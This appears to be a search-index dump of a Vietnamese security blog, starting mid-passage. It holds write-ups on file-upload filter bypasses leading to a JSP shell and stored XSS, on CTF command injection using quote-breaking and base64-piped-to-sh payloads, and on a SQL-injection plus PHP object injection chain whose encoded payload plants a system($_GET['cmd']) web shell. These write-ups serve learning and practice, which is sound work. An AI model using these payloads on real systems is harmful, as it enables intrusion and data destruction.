dấu . trong trường hợp này ta hoàn toàn có thể dễ dàng Bypass bằng cách lợi dụng hành vi chỉ nhận dấu chấm đầu tiên bằng cách tạo 1 file có tên shell.jpg.jsp thì ở đây sau dấu chấm đầu tiên nó sẽ nhận định đây là file jpg nên sẽ đi qua lớp filter dễ dàng. Chọn case 2 và Upload thử file shell.jsp và đã bị dính filter. Thay đổi tên file bằng cách thêm 1 extension là .jpg phía trước là file đã thành shell.jpg.jsp và response trả về là 302 chứng tỏ file đã được upload thành công. File shell thực thi đã xuất hiện trong /upload. Thành công RCE với câu lệnh whoami trả về kết quả như trên. Case 3 : Last Dot Check Chọn case 3, lúc này file shell trước đã được xóa để tránh nhầm lẫn.\nString ext3 = filename.substring(filename.lastIndexOf('.') + 1).toLowerCase(); lastIndexOf(\u0026rsquo;.\u0026rsquo;): tìm vị trí dấu chấm cuối cùng trong tên file.\nsubstring(\u0026hellip;): lấy tất cả ký tự sau dấu chấm đó → chính là đuôi file thực tế.\ntoLowerCase(): chuẩn hóa chữ thường để không bị bypass bởi JSP. Tại đây có thể thấy rằng lớp filter đã khá là cứng rồi vì nó sẽ check ở dấu chấm cuối cùng cho nên nếu ta test theo các case trước sẽ không còn tác dụng nữa. Vậy mindset ở đây là liệu ngoài jsp ra thì mặc định nó còn thực thi file nào khác nữa không? Sau một lúc tìm hiểu thì ta có thể Bypass được bằng file jspx vì lớp filter chỉ bắt mỗi jsp.\nThành công đi qua lớp filter này bằng cách lợi dụng sự bất cẩn của dev ghi chặn nhưng không hết các đuôi file có thể thực thi. Ở đây sau khi tìm hiểu thì tomcat sẽ hiểu định dạng jspx là jsp xml vậy nên ta cần sửa lại một chút trong file shell.jspx\nThành công RCE được.\nCase 4 : JSP Block Only Đến với case này thì nó vẫn là kiểm tra chỉ cần có tồn tại jsp ở cuối filename là sẽ dính filter nhưng mà cũng như ở case 3 ta có thể tìm kiếm file khác ngoài jsp có thể thực thi như jspx đã được test ở bên trên. Tính ra case 3 ở đây khá giống case 4 nhưng nếu như nó chặn hẳn jsp và jspx thì vẫn sẽ có cách Bypass nhưng với điều kiện là tùy vào config của Web App, với tùy trường hợp config ta có thể sử dụng. Nhưng ở đây có một case dễ khả thi là sử dụng dấu . lợi dụng config up một file shell.jsp. lên, dựa theo tìm hiểu về config của tomcat thì nó vẫn sẽ nhận là file jsp nếu không được config cẩn thận thì có thể lợi dụng nó.\nTest thử shell.jsp. và thành công upload lên.\nTrong danh sách đã hiển thị các thư mục được upload và có file shell nằm trong đó.\nThành công lợi dụng config để upload RCE.\nCase 5 : Content-Type Filter Ở đây server chỉ kiểm tra Content-Type trong phần header của file upload, chứ không kiểm tra extension hoặc nội dung thực tế của file vậy nên có thể Bypass dễ dàng bằng cách khiến nó hiểu rằng File thực thi là một File hoặc bất kì file nào mà nó allow.\nMod lại content type thành image/png\nThành công bypass qua lớp filter bằng cách lừa đây là một file image.\nFile shell.jsp đã có giờ ta chỉ cần RCE như các case trên.\nCase 6 : Magic Bytes Check 89504E47 là magic bytes chuẩn của file PNG (\\x{=tex}89PNG) - Đoạn code này sẽ check 4 bytes đầu để kiểm tra file được đưa lên có phải là file PNG không nếu không thì sẽ bị chặn. Nhưng ở đây cho dù check được vào trong magic byte nhưng vẫn chưa đủ để validate hết vì ta hoàn toàn có thể trick được hệ thống bằng cách bỏ thêm đoạn \\x89PNG vào trước các dòng payload để khi nó đọc sẽ nhận định đây chính là file PNG vì nó chỉ nhận 4 bytes đầu. Tạo một file shell.jsp bằng linux.\nTạo một file fake.jsp đưa magic byte vào đó để nó sẽ nhận là image sau đó ghép với file shell.jsp bây giờ nội dung shell.jsp sẽ được đưa vào fake.jsp mà magic byte của fake.jsp được giữ nguyên.\nKiểm tra lại nội dung fake.jsp.\nTiến hành upload và upload thành công.\nThành công RCE.\nCase 7 : Path Traversal + FileUpload To RCE Ở case này thì cũng không có filter vì ở đây mình muốn mô phỏng tình huống là tại thư mục upload nó sẽ được config là không cho phép run bất kì file thực thi nào, vậy nếu rơi vào trường hợp đó thì có cách Path Traversal là có thể lợi dụng được vì ta có thể thử với thư mục khác liệu thư mục đó có thực thi được các file thực thi hay không.\nTiến hành upload thử ../shell.jsp và có thể thấy file đã được upload lên nhưng liệu nó có đi ra khỏi thư mục /upload không.\nCheck ở bên trong cấu trúc thư mục thì có thể thấy rằng file shell.jsp đã thoát ra khỏi thư mục upload.\nKiểm tra trong này thì nó kêu chưa có thư mục được upload và củng cố được rằng file shell đã được upload ra ngoài thư mục cha. Bây giờ chỉ cần truy cập đến và tiến hành RCE thôi.\nCơm thêm Có vẻ như lỗi FileUpload ta còn có thể khai thác thêm một lỗi nữa là Store XSS vì ở các Level có lớp filter check extension có vẻ như nó không hề chặn file .html. Trình duyệt thực thi được script trong file .html sau khi upload là vì server không cài đặt Content-Disposition: attachment, và MIME type của file là text/html, nên trình duyệt xử lý file như một trang web. Đầu tiên tạo một file xss.html với nội dung:\n\u0026lt;script\u0026gt; alert(1); \u0026lt;/script\u0026gt; Tiến hành Upload thử file lên. Thành công Upload File xss.html lên bây giờ nếu ta là user bình thường bấm thử view thì nó sẽ trả về như thế nào.\nCó thể thấy xss đã được thực thi tại trường hợp này thì file đã được lưu và nếu user click vào xem nó sẽ thực thi XSS và nó là store XSS, ở đây web này tôi không khởi tạo session id nên không thể DEMO được XSS để lấy cắp cookie bằng fetch và Webhook được.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-09-fileupload-servlet/","summary":"\u003ch1 id=\"java-servlet-fileupload-vulnerability-by-phatmh\"\u003eJava Servlet FileUpload Vulnerability by @Phatmh\u003c/h1\u003e\n\u003ch3 id=\"lỗ-hổng-file-upload\"\u003eLỗ hổng File Upload\u003c/h3\u003e\n\u003cp\u003eBản chất của File Upload: File Upload đối với tôi nó đơn giản chỉ là lợi\ndụng Unsafe Method để truyền một Untrusted Data vào nhằm thay đổi hành\nvi của hệ thống trong trường hợp này là Web App, với FileUpload những gì\nUser Upload lên sẽ chính là Untrusted Data và với Feature Upload File\nnhư này sẽ thế nào nếu nó không được Validate một cách cẩn thận ta sẽ\nđến với DEMO bằng Java Servlet.\u003c/p\u003e","title":"Java Servlet FileUpload Vulnerability"},{"content":"Cookie Arena Web Challenges WriteUp by (@Phatmh) NSLookup (Level 1) Đây là một Website có chức năng là nslookup sử dụng hàm shell_exec của php để thực thi. Ta tiến hành truy cập để xem giao diện của web app.\nỞ đây ta thấy nó khá là basic khi chỉ có duy nhất một nơi có chức năng nslookup và bên cạnh là source code cho sẵn của chall, ta sẽ tiến hành phân tích source code được cấp sẵn.\nỞ ngay đầu tiên ta gặp khởi tạo và include file design và tạo object ($design) có tên là NSLookup Tool. Đến với những dòng tiếp theo là những thứ cần phải phân tích vì đây là đoạn logic code. Tại đây nó sẽ lấy tham số domain thông qua biến toàn cục là ($_GET) sau đó sẽ in ra kết quả ($result) sau khi mà đã thực hiện xong đoạn nslookup sử dụng hàm shell_exec. Ở đây có thể thấy rõ ràng cái sink nó sẽ nằm ở ngay đoạn chúng ta truyền vào domain hay ở đây là Untrusted Data, khi ta truyền Untrusted Data thì ở đây hàm shell_exec sẽ thực hiện lệnh nslookup với giá trị ta truyền vào. Từ đây ta có thể đưa ra giả thuyết rằng ứng dụng này hoàn toàn có thể bị khai thác command injection vì có thể thấy rằng không có một biện pháp validate nào được sử dụng ở đây.\nTiến hành sử dụng chức năng của web app ở đây ta sẽ thử lookup đến google để xem kết quả nó trả về sẽ thế nào.\nỞ đây nó cho ra kết quả của là dns của 8.8.8.8 là google.com. Bây giờ ta sẽ tận dụng lỗ hổng trong logic code bằng cách sử dụng dấu ; để thực hiện nối dài câu lệnh rồi thêm một lệnh nào đó ở đây tôi dùng ls để xem nó trả về kết quả gì.\nVà ta đã thành công tận dụng lỗi command injection bằng cách sử dụng dấu ; để nối chuỗi.\nThành công đọc được flag bằng lệnh cat /*.txt.\nNSLookup (Level 2) Ở lv2 thì cấu trúc nó vẫn sẽ giống như lv1 trên nhưng bây giờ cấu trúc logic code đã khác đi một chút.\nBây giờ giá trị domain đã được kẹp bên trong '' để chắc chắn giá trị domain là một chuỗi và điều này cũng đã chặn đi các cách tấn công cmdi thông thường, vậy liệu ta có tận dụng được cái dấu '' để nối dài chuỗi cmd để thực hiện RCE không. Câu trả lời là có, ta sẽ sử dụng thêm dấu '' để thực hiện break và nối dài nó ra.\nTấn công kiểu payload thông thường không còn áp dụng được.\nTiến hành sử dụng payload khác ở đây tôi sử dụng 8.8.8.8';ls;# để thử tấn công vì dấu ' sẽ đóng đi phần domain sau đó dùng ; để nối dài cmd và dùng # để loại bỏ phần sau.\nVà có vẻ như nó đã work vì nó đã hiển thị các thư mục bằng lệnh ls. Bây giờ chỉ việc cat flag.\nThành công cat ra được flag.\nNSLookup (Level 3) Ở lv cuối của challenge này có vẻ như bây giờ nó đã khác đi không còn hiện sẵn source và chỉ cho ta cái hint là: Tất cả các lệnh đọc file \u0026lsquo;cat\u0026rsquo;, \u0026lsquo;head\u0026rsquo;, \u0026rsquo;tail\u0026rsquo;, \u0026rsquo;less\u0026rsquo;, \u0026lsquo;strings\u0026rsquo;, \u0026rsquo;nl\u0026rsquo;, \u0026ldquo;ls\u0026rdquo;, \u0026ldquo;*\u0026rdquo;, \u0026ldquo;curl\u0026rdquo;, \u0026ldquo;wget\u0026rdquo; đều bị chặn và không tồn tại trên hệ thống. Bây giờ ta sẽ tiến hành view source để xem bên trong nó xử lý logic kiểu gì.\nCó vẻ như nó đã dùng regex để kiểm tra định dạng của domain khiến cho ta không thể dùng các cách nối dài chuỗi thông thường. Regex này chỉ cho phép domain chuẩn, không có ký tự đặc biệt như ;, |, \u0026amp;, ', \u0026quot;\u0026hellip; nhưng ta vẫn sẽ test thử xem nó có thực sự hoạt động không.\nỞ đây tôi tiến hành nối dài payload bằng lệnh shell là whoami để tránh dính filter nhưng có vẻ nối dài chuỗi cũng dính luôn phần validate. Nhưng sau khi tìm hiểu kĩ thì có vẻ phần JS dùng để validate nó chỉ hoạt động ở phía client side (browser) — vậy liệu có cách nào để tấn công theo hướng khác không? Câu trả lời là có: dùng các công cụ như curl hoặc Burp. Ở đây tôi sẽ thử dùng Burp tiến hành test thử.\nVà có lẽ suy nghĩ đã đúng vì nó đã trả về giá trị www khi thực hiện lệnh whoami. Vậy là trừ những lệnh đã được validate ra thì ta có thể thực hiện các lệnh khác chung chức năng. Nhưng làm sao để xác định hệ điều hành và loại shell mà server đang dùng? Ở đây tôi thử inject: domain='; echo $0; #\nđể kiểm tra nó sẽ trả về cái gì.\nỞ đây nó trả về cho ta một dòng chữ sh, vậy là đã chắc cú là ta sẽ sử dụng sh để khai thác lỗi cmdi này. Ta tiến hành tấn công.\nỞ đây tôi tiến hành sử dụng lệnh echo * để có thể đọc được thư mục thay vì dùng ls nhưng có vẻ dấu * cũng vẫn dính filter và khá khó để bypass. Sau đó tôi nhớ ra: server sử dụng Linux và Linux hỗ trợ cả base64 encode/decode, vậy nên tôi thử dùng base64 để encode và dùng sh để thực thi. Ở đây tôi sẽ sử dụng Linux trên máy để xem nó có thực sự hoạt động với base64 và sh không.\nỞ đây tôi dùng lệnh ls -al để list ra các thư mục nhưng vì nó nằm trong \u0026quot;\u0026quot; nên nó mặc định sẽ là một chuỗi; sau đó tôi đưa nó về base64 bằng base64—tôi có chuỗi bHMgLWFsCg==. Tiếp theo thử decode bằng base64 -d và đã decode thành công về ls -al; sau đó dùng pipeline để gán thêm sh để chạy được dòng shell đã thêm vào và đã thành công list ra được các thư mục có bên trong.\nCả hai lệnh echo \u0026quot;bHMgLWFsCg==\u0026quot; | base64 -d | sh và echo \u0026quot;ls -al\u0026quot; | base64 | base64 -d | sh đều work nên tôi sẽ sử dụng cách này trong việc khai thác.\nỞ đây payload của tôi là: ';echo ZWNobyAq | base64 -d | sh ; # Phần dấu ' để kết thúc chuỗi, sau đó nối dài bằng ;, tiếp theo echo phần base64 nhưng chuỗi base64 đó chứa shell đã đưa vào là echo *; base64 -d giải mã về câu shell; cuối cùng sh sẽ thực thi nó (vì sh hỗ trợ thực thi chuỗi lệnh). Kết quả trả về là index.php. Từ đây ta có hướng đi mới là sử dụng base64 rồi inject các câu lệnh khác.\nTa tiến hành đọc các file chứa chữ /flag.\nThành công tìm được 2 files — một file flag có tên giống như yêu cầu của bài, có vẻ đây là nơi cất chứa flag.\nTiến hành encode chuỗi shell (ở đây dùng more see kết hợp với tên flag đã tìm ra trước đó) và inject.\nThành công cat được flag đã được giấu.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-09-cookie-arena-cmdi/","summary":"\u003ch1 id=\"cookie-arena-web-challenges-writeup-by-phatmh\"\u003eCookie Arena Web Challenges WriteUp by (@Phatmh)\u003c/h1\u003e\n\u003ch3 id=\"nslookup-level-1\"\u003eNSLookup (Level 1)\u003c/h3\u003e\n\u003cp\u003eĐây là một Website có chức năng là nslookup sử dụng hàm shell_exec của php để thực thi. Ta tiến hành truy cập để xem giao diện của web app.\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SJGVV2iSgg.png\"\u003e\u003cbr\u003e\nỞ đây ta thấy nó khá là basic khi chỉ có duy nhất một nơi có chức năng nslookup và bên cạnh là source code cho sẵn của chall, ta sẽ tiến hành phân tích source code được cấp sẵn.\u003cbr\u003e\n\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/H1wz8niHel.png\"\u003e\u003c/p\u003e","title":"Cookie Arena Challenges WU (@Phatmh)"},{"content":"CanteenFood CTF Challenge WriteUp by @Phatmh Tiến hành phân tích chức năng theo kiểu BlackBox Đây là một trang Web có chức năng cho User tìm kiếm được món ăn phù hợp với túi tiền của mình nhất bằng cách nhập số tiền mình mong muốn nó sẽ trả về món mà mình đủ tiền trả.\nỞ đây sau khi viết ra số 300 và tiến hành bấm chức năng thì nó trả về được list các món dưới 300.\nỞ ngay bên trên mình phát hiện được một nơi đáng ngờ là chữ admin có thể dẫn ta đi đâu đó vì thể click thử vào.\nNó trả về cho ta dòng Only access allowed for canteen admin!!! có vẻ nơi đây đã bị block lại và chỉ cho phép admin truy cập vào.\nSau một lúc phân tích thì mình thấy đường dẫn này liệu có thể là nơi để mình có thể tấn công bằng cách nào đó không vì parameter ?price= cho phép người dùng thay đổi và đó là một Untrusted Data hoàn toàn có thể tấn công vào.\nTiến hành phân tích Source Code cho sẵn AdminController.php:\nĐây là hàm xử lý quyền truy cập của người dùng, nó sẽ dùng method admin để xử lý trang. Sử dụng If Else để kiểm tra Session người dùng, nó sẽ từ chối truy cập khi $_SESSION[\u0026ldquo;admin\u0026rdquo;] === false (strict) và trả về thông báo rằng Only access allowed for canteen admin!!!. Còn nếu người dùng là Admin thì nó sẽ trỏ đến AdminModel để đọc file /logs.txt và trả về nội dung. Ở đây không có một Sink nào để ta có thể lợi dụng tấn công vào mà chỉ cung cấp cho ta thông tin về cách trang web control được admin.\nCanteenController.php:\nCanteenController với chức năng chính là hiển thị thực đơn canteen, tạo canteen Model và xử lý fillter theo giá sản phẩm.\nAdminModel.php:\nNơi đây chứa hàm kiểm tra Session để có thể truy cập vào AdminModel trong trường hợp người truy cập là admin, cùng với đó là các constructor để ghi file vào file logs. Ở đây mình để ý một magic method là __wakeup là một method được gọi khi object được unserialize. Vậy ta có thể lợi dụng method này để tiến hành kịch bản PHP Object Injection to RCE được không? Ta sẽ lưu ý đoạn này và tiến hành đọc code tiếp. CanteenModel.php: Ở đây là một class chứa 2 functions chính là getFood() và filterFood()\nTại đây mình đã tìm được Sink để có thể khai thác được cụ thể ở đây là một chuỗi exploit chain lợi dụng Sqli và PHP Object Injection bằng magic method từ đó RCE\nGiải thích chi tiết chuỗi exploit CTF 📋 Tổng quan kiến trúc ứng dụng Các thành phần chính: CanteenController ├── index() → getFood() hoặc filterFood() ├── AdminController │ └── admin() → AdminModel::read_logs() └── AdminModel + LogFile classes Luồng dữ liệu: User Request → Controller → Model → Database → Response Phân tích từng lỗ hổng 1. SQL Injection (filterFood) $sql = \u0026#34;SELECT * FROM food where price \u0026lt; \u0026#34; . $price_param; Vấn đề: $price_param được nối trực tiếp vào query\nKhông có escaping, validation, prepared statement Attacker có thể inject SQL commands Ví dụ:\n// Request: /?price=1 OR 1=1 $price_param = \u0026#34;1 OR 1=1\u0026#34;; $sql = \u0026#34;SELECT * FROM food where price \u0026lt; 1 OR 1=1\u0026#34;; // Lấy tất cả records // Request: /?price=1; DROP TABLE food; -- $price_param = \u0026#34;1; DROP TABLE food; --\u0026#34;; $sql = \u0026#34;SELECT * FROM food where price \u0026lt; 1; DROP TABLE food; --\u0026#34;; // Xóa table 2. PHP Object Injection (getFood \u0026amp; filterFood) if($obj-\u0026gt;oldvalue !== \u0026#39;\u0026#39;) { $dec_result = base64_decode($obj-\u0026gt;oldvalue); if (preg_match_all(\u0026#39;/O:\\d+:\u0026#34;([^\u0026#34;]*)\u0026#34;/\u0026#39;, $dec_result, $matches)) { return \u0026#39;Not allowed\u0026#39;; } $uns_result = unserialize($dec_result); // ← NGUY HIỂM! // ... } Vấn đề: Unserialize dữ liệu từ database mà chỉ có filter yếu\nunserialize() có thể tạo object bất kỳ Filter chỉ check regex pattern O:\\d+:\u0026quot;classname\u0026quot; Có thể bypass filter Tại sao nguy hiểm:\n// Khi unserialize, PHP sẽ: 1. Tạo object theo class được chỉ định 2. Set các properties 3. Gọi magic method __wakeup() nếu có 3. Arbitrary File Write (__wakeup magic method) class AdminModel { public function __wakeup() { new LogFile($this-\u0026gt;filename, $this-\u0026gt;logcontent); // ← Magic method! } } class LogFile { public function __construct($filename, $content) { file_put_contents($filename, $content, FILE_APPEND); // ← Ghi file! } } Vấn đề: Magic method __wakeup() được gọi tự động khi unserialize\nTạo LogFile object → ghi file với path và content tùy ý Không validate filename/content Chuỗi exploit chi tiết Vậy đây ta có thể đưa ra suy nghĩ rằng khi bắt đầu khởi tạo Object và khi nó gọi đến unserialize() thì magic method đầu tiên nó đi qua sẽ là __wakeup() và cứ mỗi lần nó sẽ khởi tạo value mới bằng file_put_contents vậy nên ở đây kịch bản sẽ là ta sẽ lợi dụng Sqli để ghi vào chuỗi serialize khi mà hàm unserialize gọi đến __wakeup thì nó sẽ thực hiện và chuỗi shell được file_put_contents đưa vào. Bên cạnh đó tuy unserialize được filter bằng regex nhưng hoàn toàn có thể bypass như đã nói ở trên.\nTiến hành viết Exploit code ở đây lợi dụng class AdminModel để làm ra một gadget chain khi mà nó unserialize thì nó sẽ gọi đến magic method là __wakeup, nên trong quá trình này mình dùng serialize object rồi mình sẽ đưa nó về Base64.\nỞ đây mình sẽ truyền shell thẳng vào /www/shell.php vì nơi chứa index của bài sẽ nằm ở root của docker.\nỞ đây kịch bản tấn công của mình sẽ là cố gắng insert được đoạn mã base64 rồi sau đó sẽ sửa price=999999999 để nó gọi tất cả các bảng và unserialize và khi nó giải mã base64 thì cái oldValue sẽ giúp ta tạo ra được file shell.php nằm ngay trong /www/.\nSau khi cố gắng Insert mình sẽ sửa parameter pricer=99999999 để cho nó gọi full bảng và thực hiện quá trình serialize và unserialize với mong muốn nó sẽ tạo file shell.php trong /www/.\nCó vẻ như kịch bản Insert của mình đã thất bại vì không có một file nào được tạo ở bên trong docker vậy nên ta sẽ phải suy nghĩ đến kịch bản tấn công, vấn đề ở đây là ngoài Insert liệu có cách nào để ta có thể control được luồng dữ liệu mình thêm vào hay không?\nỞ đây để xem cái kịch bản Insert của mình có ổn không thì mình đã truy cập thẳng vào DB của docker và tiến hành Insert thẳng vào bảng luôn và như ảnh trên thì dữ liệu đã được đưa vào bây giờ mình sẽ dùng curl \u0026quot;http://localhost:1337/?price=999999999\u0026quot; để nó gọi hết bảng.\nỞ đây có thể thấy nó đã thực sự work nếu ta Insert thẳng vào bảng bằng DB docker, từ đây ta sẽ suy nghĩ rằng có lẽ đã có đoạn code nào đó ngăn chặn user sử dụng Insert để inject value vào bảng. Bây giờ ta sẽ tiến hành đi kiểm tra code để xem lý do vì sao ta không sử dụng Insert được.\nỞ đây sau khi đọc thì nó chỉ cho phép mình sử dụng SELECT và UPDATE thay vì Insert. Dựa theo đó mình đã thử UPDATE nhưng nhận ra là web app không có điểm nào để có thể cập nhật dữ liệu từ đó sử dụng UPDATE để thay đổi giá trị thế nên chỉ còn mỗi SELECT. Vậy ở đây làm sao để dùng SELECT để thay đổi và Insert được payload vào bảng, sau khi tìm kiếm thì UNION SELECT có khả thi để có thể Insert được payload vào mà không cần dùng đến Insert.\nBảng đích: food\nCác cột: id, name, oldvalue, price\nMục tiêu: Chèn payload PHP Object Injection vào cột oldvalue\nTiến hành chèn câu Sql vào : -1+UNION+SELECT+999%2C+'hacked'%2C+'TzorMTA6IkFkbWluTW9kZWwiOjI6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6Ii93d3cvc2hlbGwucGhwIjtzOjEwOiJsb2djb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO30%3D'%2C+1 thì nó sẽ dựa theo câu Database trở thành: SELECT id, name, oldvalue, price FROM food WHERE price \u0026lt; -1 UNION SELECT 999, 'hacked', 'TzorMTA6IkFkbWluTW9kZWwiOjI6e3M6ODoiZmlsZW5hbWUiO3M6MTQ6Ii93d3cvc2hlbGwucGhwIjtzOjEwOiJsb2djb250ZW50IjtzOjMwOiI8P3BocCBzeXN0ZW0oJF9HRVRbJ2NtZCddKTsgPz4iO30=', 1.\nSau khi inject thành công nó trả về cho ta một trang trắng xóa, đây là một dấu hiệu tốt vì khi nó được đẩy lên thành công mà không có lỗi nó sẽ trắng như này.\nKiểm tra file docker nó có nhảy file shell không và đã thành công tạo ra file shell.php nằm ngay ở /www/ là root của docker container.\nThành công chạy đến /shell.php và tiến hành truyền câu lệnh ls để đọc được các File trong đó.\nĐọc được các Logs ở trong logs.txt mà chỉ admin có thể đọc. Vậy là đã hoàn thành mục tiêu RCE được web này sử dụng Exploit Chain là SQLi+PHP Object Injection to RCE.\n","permalink":"https://blog.pzhat.id.vn/posts/2025-09-09-canteenfood-ctf-challenge-writeup/","summary":"\u003ch1 id=\"canteenfood-ctf-challenge-writeup-by-phatmh\"\u003eCanteenFood CTF Challenge WriteUp by @Phatmh\u003c/h1\u003e\n\u003ch2 id=\"tiến-hành-phân-tích-chức-năng-theo-kiểu-blackbox\"\u003eTiến hành phân tích chức năng theo kiểu BlackBox\u003c/h2\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/SJOQlrxHxx.png\"\u003e\u003c/p\u003e\n\u003cp\u003eĐây là một trang Web có chức năng cho \u003ccode\u003eUser\u003c/code\u003e tìm kiếm được món ăn phù hợp với túi tiền của mình nhất bằng cách nhập số tiền mình mong muốn nó sẽ trả về món mà mình đủ tiền trả.\u003c/p\u003e\n\u003cp\u003e\u003cimg alt=\"image\" loading=\"lazy\" src=\"https://hackmd.io/_uploads/rJesxBgBxx.png\"\u003e\u003c/p\u003e\n\u003cp\u003eỞ đây sau khi viết ra số 300 và tiến hành bấm chức năng thì nó trả về được list các món dưới 300.\u003c/p\u003e","title":"CanteenFood CTF Challenge WriteUp"}]